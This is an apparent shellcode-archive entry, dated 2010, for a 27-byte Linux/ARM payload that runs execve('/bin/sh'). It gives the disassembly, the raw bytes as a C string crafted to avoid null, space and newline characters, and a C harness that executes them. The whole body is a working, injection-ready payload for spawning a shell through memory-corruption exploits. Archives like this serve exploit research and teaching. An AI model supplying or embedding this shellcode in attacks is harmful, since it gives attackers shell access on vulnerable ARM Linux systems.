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Linux/ARM /bin/sh Shellcode

Linux/ARM /bin/sh Shellcode
Posted Sep 6, 2010
Authored by Jonathan Salwan

27 bytes small Linux/ARM execve("/bin/sh",[0],[0],[0 vars]) shellcode.

tags | shellcode
systems | linux
MD5 | 1422b1ff5fbb0a171eb218a1f020a11c

Linux/ARM /bin/sh Shellcode

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/*
Title: Linux/ARM - execve("/bin/sh", [0], [0 vars]) - 27 bytes
Date: 2010-08-31
Tested on: ARM926EJ-S rev 5 (v5l)
Author: Jonathan Salwan - twitter: @shell_storm

shell-storm.org

Shellcode ARM with not a 0x20, 0x0a and 0x00


Disassembly of section .text:

00008054 <_start>:
8054: e28f3001 add r3, pc, #1 ; 0x1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 3008 adds r0, #8
8060: 1a49 subs r1, r1, r1
8062: 1a92 subs r2, r2, r2
8064: 270b movs r7, #11
8066: df01 svc 1
8068: 622f str r7, [r5, #32]
806a: 6e69 ldr r1, [r5, #100]
806c: 732f strb r7, [r5, #12]
806e: 0068 lsls r0, r5, #1

*/

#include <stdio.h>



char SC[] = "\x01\x30\x8f\xe2"
"\x13\xff\x2f\xe1"
"\x78\x46\x08\x30"
"\x49\x1a\x92\x1a"
"\x0b\x27\x01\xdf"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68";


int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}


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